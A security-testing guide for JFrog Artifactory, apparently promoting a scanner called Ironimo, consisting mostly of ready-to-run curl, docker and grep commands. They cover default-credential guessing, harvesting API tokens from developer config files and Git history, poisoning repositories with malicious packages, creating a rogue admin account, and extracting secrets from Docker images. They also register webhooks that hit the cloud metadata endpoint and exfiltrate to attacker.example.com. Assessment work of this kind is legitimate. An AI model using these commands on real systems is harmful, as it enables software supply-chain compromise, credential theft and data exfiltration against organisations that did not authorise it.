JFrog Artifactory Security Testing: Default Credentials, API Keys, Repository Access, and Artifact Poisoning

JFrog Artifactory is the dominant universal artifact repository manager, used by enterprises to store and distribute Maven JARs, npm packages, Docker images, PyPI wheels, Gradle dependencies, Helm charts, and more. Its central position in the build pipeline makes it a high-value target: a compromised Artifactory instance can poison the entire software supply chain. Key attack surfaces include the default admin/password credential that many self-hosted installations never change; API keys and access tokens embedded in developer workstation files such as .npmrc, .pip/pip.conf, and gradle.properties; anonymous repository access that allows unauthenticated package enumeration or upload; artifact poisoning through repository write permissions; Docker registry exposure on port 8082; secrets stored in artifact properties; and webhook endpoints that can be abused for SSRF or exfiltration. This guide covers systematic Artifactory security assessment.

Table of Contents

  1. Default Credentials and REST API Authentication
  2. API Key Exposure in Build Tool Configuration Files
  3. Anonymous Repository Access and Enumeration
  4. Artifact Poisoning via Package Upload
  5. User Enumeration and Privilege Escalation via API
  6. Docker Registry Access Through Artifactory
  7. Secrets Stored in Artifact Properties
  8. Webhook Abuse and SSRF
  9. Artifactory Security Hardening

Default Credentials and REST API Authentication

JFrog Artifactory ships with a default administrator account (admin) whose password is set to password on fresh installations of both the OSS and Pro editions. In enterprise environments where Artifactory is deployed via automation (Helm charts, Ansible, Terraform), the default password is frequently left in place or replaced with a weak site-wide password stored in a configuration file. The Artifactory REST API uses HTTP Basic authentication and API key header authentication interchangeably, making credential testing straightforward.

# JFrog Artifactory β€” default credential testing and REST API authentication
ARTIFACTORY_URL="https://artifactory.example.com"

# Test default credentials: admin / password
curl -s -u admin:password \
  "${ARTIFACTORY_URL}/artifactory/api/system/ping" 2>/dev/null
# Returns: OK if credentials are valid

# Get system information β€” confirms admin access level
curl -s -u admin:password \
  "${ARTIFACTORY_URL}/artifactory/api/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'License: {d.get(\"licenseInfo\",{}).get(\"type\")}')
print(f'Addons: {d.get(\"addOns\",[])}')
" 2>/dev/null

# Try common Artifactory passwords
for PASS in "password" "Password1" "admin" "artifactory" "changeme" "secret" "jfrog" "admin123"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -u "admin:${PASS}" \
    "${ARTIFACTORY_URL}/artifactory/api/system/ping" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "[FOUND] admin/${PASS}" || echo "[ --- ] admin/${PASS}: ${STATUS}"
done

# Generate an API key using valid credentials
curl -s -X POST -u admin:password \
  "${ARTIFACTORY_URL}/artifactory/api/security/apiKey" 2>/dev/null
# Returns: {"apiKey":"AKCp..."}

# Use API key for subsequent requests (X-JFrog-Art-Api header)
API_KEY="AKCp8aabbccdd..."
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/repositories" 2>/dev/null

API Key Exposure in Build Tool Configuration Files

Developers configure their build tools to pull dependencies from Artifactory by adding repository credentials to local configuration files. These files β€” ~/.npmrc, ~/.pip/pip.conf, ~/.gradle/gradle.properties, ~/.m2/settings.xml β€” routinely end up committed to source control, included in Docker images, or left on shared CI/CD build agents. A single leaked API key typically grants access to all repositories the developer had permission to reach, and in many organizations that means every internal artifact ever built.

# Search for Artifactory credentials in common build tool configuration files

# npm β€” ~/.npmrc or project-level .npmrc
# Format: //artifactory.example.com/artifactory/api/npm/npm-local/:_authToken=...
grep -rE "artifactory.*_authToken|_authToken.*artifactory" \
  ~/.npmrc .npmrc 2>/dev/null

# Extract and test npm registry tokens from .npmrc
NPM_TOKEN=$(grep "_authToken" ~/.npmrc 2>/dev/null | head -1 | cut -d= -f2)
if [ -n "$NPM_TOKEN" ]; then
  curl -s -H "Authorization: Bearer ${NPM_TOKEN}" \
    "${ARTIFACTORY_URL}/artifactory/api/npm/npm-local/-/whoami" 2>/dev/null
fi

# Gradle β€” ~/.gradle/gradle.properties
# Format: artifactory_user=admin artifactory_password=... artifactoryApiKey=AKCp...
grep -E "artifactory_(user|password|key)|artifactoryApiKey|ARTIFACTORY" \
  ~/.gradle/gradle.properties 2>/dev/null

# Maven β€” ~/.m2/settings.xml
# Contains  and  blocks for each server
grep -A2 -B2 "artifactory\|jfrog" ~/.m2/settings.xml 2>/dev/null | \
  grep -E "<(username|password)>"

# pip β€” ~/.pip/pip.conf or pip.ini
# Format: index-url = https://admin:PASSWORD@artifactory.example.com/artifactory/api/pypi/pypi-local/simple
grep -rE "artifactory.*pypi|pypi.*artifactory" \
  ~/.pip/pip.conf ~/.config/pip/pip.conf 2>/dev/null

# Search Git history for accidentally committed credentials
git log --all --oneline 2>/dev/null | head -20
git grep -i "artifactory\|_authToken\|AKCp" $(git rev-list --all) 2>/dev/null | \
  grep -E "password|apiKey|_auth|token" | head -20

# Scan Docker image layers for Artifactory credentials
docker history --no-trunc artifactory-builder:latest 2>/dev/null | \
  grep -iE "artifactory|AKCp|_authToken"
docker run --rm artifactory-builder:latest \
  find / -name ".npmrc" -o -name "gradle.properties" -o -name "pip.conf" 2>/dev/null | \
  xargs grep -l "artifactory" 2>/dev/null

Anonymous Repository Access and Enumeration

Artifactory supports an anonymous access mode that allows unauthenticated users to read from (and sometimes write to) repositories. This feature is commonly enabled on internal Artifactory instances to simplify developer onboarding β€” developers can pull artifacts without configuring credentials β€” but the same access is available to anyone who can reach the network. In organizations that later expose Artifactory to a broader network segment or the internet, anonymous read access frequently goes unnoticed because it was intentionally configured and developers still authenticate for write operations.

# Test Artifactory anonymous (unauthenticated) access
ARTIFACTORY_URL="https://artifactory.example.com"

# Check if anonymous access is enabled β€” no credentials provided
curl -s "${ARTIFACTORY_URL}/artifactory/api/repositories" 2>/dev/null | python3 -c "
import json,sys
try:
    repos=json.load(sys.stdin)
    if isinstance(repos, list):
        print(f'[ANONYMOUS ACCESS] {len(repos)} repositories visible without auth:')
        for r in repos:
            print(f'  [{r.get(\"type\")}] {r.get(\"key\")} β€” {r.get(\"description\",\"\")}')
    else:
        print(f'Access denied or unexpected response: {repos}')
except:
    print('No JSON returned β€” likely auth required')
" 2>/dev/null

# Test anonymous access to specific repository types
# Local repositories (org's own artifacts)
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/" 2>/dev/null | head -30

# Remote repository caches (proxied public registries)
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/npmjs-cache/" 2>/dev/null | head -30

# Check anonymous access to the UI API (returns LDAP/SSO config if misconfigured)
curl -s "${ARTIFACTORY_URL}/artifactory/api/system/configuration" 2>/dev/null | \
  grep -E "ldap|password|secret|bind" | head -20

# Enumerate artifact paths in an anonymous-accessible repository
# Artifactory File List API
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/?list&deep=1&listFolders=0" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    files=d.get('files',[])
    print(f'Files in repository: {len(files)}')
    for f in files[:20]:
        print(f'  {f.get(\"uri\")} size={f.get(\"size\")}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# AQL (Artifactory Query Language) search β€” works anonymously if enabled
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
  -H "Content-Type: text/plain" \
  -d 'items.find({"repo":{"$match":"*"},"name":{"$match":"*.jar"}}).include("name","repo","path","size").sort({"$desc":["size"]}).limit(20)' \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for item in d.get('results',[]):
        print(f'{item[\"repo\"]}/{item[\"path\"]}/{item[\"name\"]} ({item[\"size\"]} bytes)')
except Exception as e:
    print(f'Error or auth required: {e}')
" 2>/dev/null

Artifact Poisoning via Package Upload

If an authenticated user (or anonymous user on a misconfigured instance) has write access to a repository, they can upload a malicious artifact under a legitimate package name and version. Artifact poisoning is particularly dangerous in virtual repositories, where Artifactory aggregates multiple local and remote repositories and serves them under a single URL. An attacker with write access to any local repository included in a virtual repository can shadow legitimate packages. A poisoned package that installs a reverse shell or credential harvester will execute on every developer workstation and CI/CD build agent that pulls it.

# Artifact poisoning β€” upload a malicious package to an Artifactory repository
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."

# Step 1: Identify writable repositories
# Check deploy permissions on local repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/repositories?type=local" 2>/dev/null | python3 -c "
import json,sys
repos=json.load(sys.stdin)
print(f'Local repositories: {len(repos)}')
for r in repos:
    print(f'  {r.get(\"key\")} [{r.get(\"packageType\")}]')
" 2>/dev/null

# Step 2: Test write access by uploading a test file (benign probe)
REPO="libs-release-local"
curl -s -w "\nHTTP Status: %{http_code}\n" \
  -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -T /dev/null \
  "${ARTIFACTORY_URL}/artifactory/${REPO}/com/example/probe/1.0/probe-1.0.txt" 2>/dev/null
# HTTP 201 = write access confirmed

# Step 3: Upload a malicious Maven JAR artifact (artifact poisoning demo)
# In a real attack this would be a JAR with a malicious initializer
# Target: shadow an existing artifact with the same GAV coordinates
TARGET_GROUP="com/example/core"
TARGET_ARTIFACT="core-utils"
TARGET_VERSION="2.3.1"   # Must match a version the build system requests

curl -s -w "\nHTTP Status: %{http_code}\n" \
  -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "X-Checksum-Md5: d41d8cd98f00b204e9800998ecf8427e" \
  -T ./malicious-core-utils-2.3.1.jar \
  "${ARTIFACTORY_URL}/artifactory/${REPO}/${TARGET_GROUP}/${TARGET_ARTIFACT}/${TARGET_VERSION}/${TARGET_ARTIFACT}-${TARGET_VERSION}.jar" \
  2>/dev/null

# Step 4: npm package poisoning β€” upload a scoped package to shadow a private registry
# Create a malicious package.json and index.js, then pack and upload
cat > /tmp/package.json << 'EOF'
{"name":"@company/internal-utils","version":"3.0.0","main":"index.js"}
EOF
# Publish to npm-local repository (Artifactory npm API)
curl -s -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: application/octet-stream" \
  -T ./malicious-internal-utils-3.0.0.tgz \
  "${ARTIFACTORY_URL}/artifactory/npm-local/@company/internal-utils/-/@company/internal-utils-3.0.0.tgz" \
  2>/dev/null

# Step 5: Dependency confusion attack β€” upload a package to the internal registry
# whose name matches a public package but with a higher version number
# Any build tool configured to check internal repos before public will pull this version

User Enumeration and Privilege Escalation via API

Artifactory's Security REST API exposes user management endpoints that return the full list of user accounts, their group memberships, permission targets, and API keys. An admin-level token grants the ability to create new users, add users to the admin group, reset API keys, and modify permission targets β€” effectively full control over the artifact supply chain. Even a non-admin user with manage permissions on a single repository can escalate by modifying repository permission targets to include their own account.

# Artifactory user enumeration and privilege escalation via API
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."

# Enumerate all users
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/security/users" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Total users: {len(users)}')
for u in users:
    print(f'  {u.get(\"name\")} admin={u.get(\"admin\")} groups={u.get(\"groups\",[])}')
" 2>/dev/null

# Get detailed information for a specific user (reveals API keys and permissions)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/security/users/admin" 2>/dev/null | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'Email: {u.get(\"email\")}')
print(f'Admin: {u.get(\"admin\")}')
print(f'Groups: {u.get(\"groups\",[])}')
print(f'API Key: {u.get(\"apiKey\",\"not exposed\")}')
" 2>/dev/null

# List all groups and their membership
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/security/groups" 2>/dev/null | python3 -c "
import json,sys
groups=json.load(sys.stdin)
print(f'Groups: {groups}')
" 2>/dev/null

# Get permission targets β€” shows which users/groups can deploy to which repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/security/permissions" 2>/dev/null | python3 -c "
import json,sys
perms=json.load(sys.stdin)
print(f'Permission targets: {len(perms)}')
for p in perms:
    print(f'  {p.get(\"name\")}')
" 2>/dev/null

# Privilege escalation β€” add current user to the admin group via API
# (requires manage_security permission or admin token)
curl -s -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"name":"attacker","email":"attacker@evil.com","password":"Attacker123!","admin":true,"groups":["readers","deployers"]}' \
  "${ARTIFACTORY_URL}/artifactory/api/security/users/attacker" 2>/dev/null

# Generate a new API key for the elevated user
curl -s -X POST \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/security/apiKey" 2>/dev/null
# Use -u newuser:newpassword for the newly created admin account

Docker Registry Access Through Artifactory

Artifactory acts as a Docker registry, typically exposed on port 8082 (HTTP) or a subdomain such as docker.artifactory.example.com. Organizations use it to host private Docker images containing proprietary application code, internal tooling, and build environments. If the Artifactory Docker registry uses the same credentials as the main instance (which is always the case β€” Docker registry auth delegates to Artifactory's security model), default or leaked credentials grant full pull access to every private image. Docker images frequently contain embedded secrets: environment variables, hardcoded credentials, private keys baked into image layers, and sensitive configuration files.

# Artifactory Docker registry security testing
ARTIFACTORY_URL="https://artifactory.example.com"
DOCKER_REGISTRY="artifactory.example.com:8082"

# Login to the Artifactory Docker registry using default credentials
docker login ${DOCKER_REGISTRY} \
  --username admin \
  --password password 2>/dev/null
# Login Succeeded = default credentials valid on Docker registry

# List available Docker repositories (requires catalog access)
curl -s -u admin:password \
  "https://${DOCKER_REGISTRY}/v2/_catalog" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos=d.get('repositories',[])
print(f'Docker repositories: {len(repos)}')
for r in repos:
    print(f'  {r}')
" 2>/dev/null

# List tags for a specific image
IMAGE="company/backend-api"
curl -s -u admin:password \
  "https://${DOCKER_REGISTRY}/v2/${IMAGE}/tags/list" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Tags: {d.get(\"tags\",[])}')
" 2>/dev/null

# Pull an image and inspect it for embedded secrets
docker pull ${DOCKER_REGISTRY}/company/backend-api:latest 2>/dev/null

# Inspect image environment variables for hardcoded credentials
docker inspect ${DOCKER_REGISTRY}/company/backend-api:latest 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for item in d:
    for env in item.get('Config',{}).get('Env',[]):
        if any(k in env.upper() for k in ['PASS','SECRET','KEY','TOKEN','DB_','AWS_','API_']):
            print(env)
" 2>/dev/null

# Extract image filesystem layers to find secrets in files
docker save ${DOCKER_REGISTRY}/company/backend-api:latest | tar x -C /tmp/image-layers 2>/dev/null
find /tmp/image-layers -name "*.env" -o -name "application.properties" \
  -o -name "settings.xml" -o -name ".npmrc" 2>/dev/null | xargs grep -l "password\|secret\|key" 2>/dev/null

# Alternatively, use Artifactory API to enumerate Docker repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/repositories?type=local&packageType=docker" 2>/dev/null

Secrets Stored in Artifact Properties

Artifactory allows storing arbitrary key-value properties on any artifact or folder β€” a feature used by build systems to attach metadata such as build numbers, branch names, commit SHAs, and deployment targets. Development teams sometimes abuse this capability to store configuration values and credentials alongside artifacts, reasoning that access to the artifact implies access to its deployment configuration. Properties are returned in API responses and AQL queries and are not subject to separate access controls beyond repository permissions.

# Search Artifactory artifact properties for stored secrets
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."

# Get all properties on a specific artifact
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/com/example/app/1.0/app-1.0.jar?properties" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
props=d.get('properties',{})
print(f'Properties on artifact:')
for k,v in props.items():
    print(f'  {k} = {v}')
" 2>/dev/null

# AQL query β€” find all artifacts with property keys that suggest secrets
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: text/plain" \
  -d 'items.find({
    "repo":{"$match":"*"},
    "@password":{"$match":"*"}
  }).include("name","repo","path","@password","@secret","@db.password","@aws.key","@api.key")
  .limit(50)' 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for item in d.get('results',[]):
        print(f'{item[\"repo\"]}/{item[\"path\"]}/{item[\"name\"]}')
        for k,v in item.items():
            if k.startswith('@') and any(s in k.lower() for s in ['pass','secret','key','token']):
                print(f'  {k} = {v}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# Broader AQL search β€” all properties containing credentials-like values across all repos
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: text/plain" \
  -d 'items.find({"repo":{"$match":"*-local"}}).include("name","repo","path","@*").limit(100)' \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for item in d.get('results',[]):
        suspicious=[(k,v) for k,v in item.items() if k.startswith('@') and any(s in k.lower() for s in ['pass','secret','key','token','credential','auth'])]
        if suspicious:
            print(f'{item.get(\"repo\")}/{item.get(\"path\")}/{item.get(\"name\")}')
            for k,v in suspicious:
                print(f'  {k} = {v}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

Webhook Abuse and SSRF

Artifactory supports user plugin webhooks and system-level event notifications that send HTTP POST requests to configurable URLs when repository events occur (artifact deployed, deleted, moved, promoted). An attacker with admin access can register webhooks pointing to internal services unreachable from the internet, effectively turning Artifactory into an SSRF relay. In environments where Artifactory runs inside a corporate network with broad access to internal services, this enables probing internal APIs, cloud metadata endpoints, and services protected by network-level controls.

# Artifactory webhook abuse for SSRF and data exfiltration
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."

# List existing webhooks (Artifactory 7.x Subscriptions API)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/v2/webhooks" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    hooks=d.get('webhooks',[])
    print(f'Webhooks configured: {len(hooks)}')
    for h in hooks:
        print(f'  [{h.get(\"id\")}] {h.get(\"key\")} -> {h.get(\"url\")} events={h.get(\"events\")}')
except:
    print(sys.stdin.read())
" 2>/dev/null

# Register a malicious webhook pointing to an internal service (SSRF)
# Any artifact event will trigger a request to the target URL from Artifactory's network
curl -s -X POST \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "key": "internal-probe",
    "description": "Monitoring webhook",
    "enabled": true,
    "event_filter": {
      "domain": "artifact",
      "events": ["deployed"]
    },
    "handlers": [{
      "handler_type": "webhook",
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "secret": "ignored",
      "use_secret_for_signing": false
    }]
  }' \
  "${ARTIFACTORY_URL}/artifactory/api/v2/webhooks" 2>/dev/null

# Trigger the webhook by uploading an artifact
curl -s -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -T /dev/null \
  "${ARTIFACTORY_URL}/artifactory/libs-release-local/probe/trigger.txt" 2>/dev/null

# Legacy Artifactory event notification (pre-7.x)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
  "${ARTIFACTORY_URL}/artifactory/api/notifications/registered" 2>/dev/null

# Register a notification to an attacker-controlled server to receive artifact metadata
curl -s -X PUT \
  -H "X-JFrog-Art-Api: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "key": "exfil-hook",
    "active": true,
    "events": [{"name":"artifact.deployed"}],
    "url": "https://attacker.example.com/collect"
  }' \
  "${ARTIFACTORY_URL}/artifactory/api/notifications/registered" 2>/dev/null

Artifactory Security Hardening

Artifactory Security Hardening Checklist:
Security TestMethodRisk
Default admin/password credential exploitationcurl -u admin:password /api/system/ping β€” HTTP 200 confirms default credentials; full admin access to all repositories, users, security configuration, and artifact managementCritical
API key exposure in .npmrc / gradle.propertiesSearch developer workstations, CI environments, and Git history for X-JFrog-Art-Api values; test recovered keys against /api/repositories; keys persist until manually revokedCritical
Anonymous repository accessGET /artifactory/api/repositories without credentials; if 200 with repo list, enumerate all accessible artifacts via File List API and AQL; may include source JARs, internal tools, credentials in artifact propertiesHigh
Artifact poisoning via PUT uploadTest write access with a benign PUT to a local repository; shadow legitimate packages with malicious artifacts at the same GAV/name/version; every developer and CI build pulling the poisoned artifact executes attacker-controlled codeCritical
Docker registry access and image extractiondocker login artifactory:8082 with known credentials; docker pull and docker inspect for ENV secrets; docker save and layer extraction for files containing credentials and private keysHigh
User enumeration and privilege escalationGET /api/security/users β€” full user list with group memberships; PUT /api/security/users/{name} with admin:true to create admin account; GET /api/security/permissions for permission target enumerationHigh
Secrets in artifact propertiesAQL query for items with @password/@secret/@key property keys across all repositories; properties are visible in storage info responses without additional controlsMedium–High
Webhook SSRF to internal servicesPOST /api/v2/webhooks with internal URL target; trigger with artifact upload; Artifactory makes HTTP request from its network to attacker-specified URL including cloud metadata endpointsHigh

Automate Artifactory Security Testing

Ironimo tests JFrog Artifactory deployments for default credential exploitation against the REST API, anonymous repository access and artifact enumeration, API key exposure in build tool configuration files, artifact poisoning via unauthorized PUT uploads, Docker registry access and image secret extraction, user enumeration and privilege escalation via the Security API, secrets in artifact properties via AQL, and webhook SSRF to internal services and cloud metadata endpoints.

Start Scanning with Ironimo